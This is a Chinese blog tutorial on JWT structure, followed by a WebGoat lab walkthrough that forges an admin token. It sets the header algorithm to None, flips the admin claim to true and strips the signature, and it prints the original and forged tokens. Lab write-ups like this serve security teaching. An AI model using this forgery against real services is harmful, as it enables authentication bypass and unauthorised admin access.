zoukankan      html  css  js  c++  java
  • JWT伪造攻击

    JWT修改伪造攻击

    什么是JWT?

    JSON Web Token(JSON Web令牌)是一种跨域验证身份的方案。JWT不加密传输的数据,但能够通过数字签名来验证数据未被篡改(但是做完下面的WebGoat练习后我对这一点表示怀疑)。

    JWT分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。
    
    头部(Header)
    
    {
    
    "alg":"HS256",
    
    "typ":"JWT"
    
    }
    
    alg
    
    是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256表示HMAC SHA256。
    
    typ
    
    说明这个token的类型为JWT
    
    声明(Claims)
    
    {
    
    "exp": 1416471934,
    
    "user_name": "user",
    
    "scope": [
    
    "read",
    
    "write"
    
    ],
    
    "authorities": [
    
    "ROLE_ADMIN",
    
    "ROLE_USER"
    
    ],
    
    "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
    
    "client_id": "my-client-with-secret"
    
    }
    
    JWT固定参数有:
    
    iss:发行人
    
    exp:到期时间
    
    sub:主题
    
    aud:用户
    
    nbf:在此之前不可用
    
    iat:发布时间
    
    jti:JWT ID用于标识该JWT
    
    签名(Signature)
    
    服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。
    
    下面是一个用HS256生成JWT的代码例子
    
    HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)
    
    1、用户端登录,用户名和密码在请求中被发往服务器
    
    2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行加密,生成该用户的JWT。此时,服务器并没有保存登录状态信息。
    
    3、服务器将JWT(通过响应)返回给客户端
    
    4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中
    
    5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态
    
    6、服务器返回响应

    实战

    Javaweb-身份验证攻击-JWT修改伪造攻击:

    靶场:WebGoat

     

    目标拿到admin权限

    抓包

     

    从token下手:

    eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDA4Mzg1NzcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.6LQdiVbn14pCBdpXRj5M1thjCw9pDpq2IrGKBkbS-F5uSjaj8G3ei3z7B6s4UJanp1lGN8LfsA2EIcR5lsHung

    jwt转换网站:

    https://jwt.io/#encoded-jwt

     

    但是这里用bur的base64就可以了

    原来的头部:

     

    改为:

    1.错误的方法

     

    eyJhbGciOiJOb25lIn0=

    正确的方法:

     

    ewogICJhbGciOiAiTm9uZSIKfQ==

    声明  把false 改为true

     

    拼接起来,因为把加密方式改为了None,所以最后的签名为空

    ewogICJhbGciOiAiTm9uZSIKfQ==.ewogICJpYXQiOiAxNjAwODM4NTc3LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=.

    在HTTP传输过程中,Base64编码中的"=","+","/"等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码

    即把编码中的"=","+","/"等特殊符号删掉也是兼容的

    ewogICJhbGciOiAiTm9uZSIKfQ.ewogICJpYXQiOiAxNjAwODM4NTc3LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

    成功通关

     

  • 相关阅读:
    CART算法(转)
    分类算法:决策树(C4.5)(转)
    决策树与迭代决策树(转)
    随机森林(Random Forest)详解(转)
    Bagging和Boosting 概念及区别(转)
    迭代器与生成器
    Python代码这样写更优雅(转)
    python进行EDA探索性数据分析
    标准化与归一化(转)
    最小树形图(poj3164)
  • 原文地址:https://www.cnblogs.com/trevain/p/13662438.html
Copyright © 2011-2022 走看看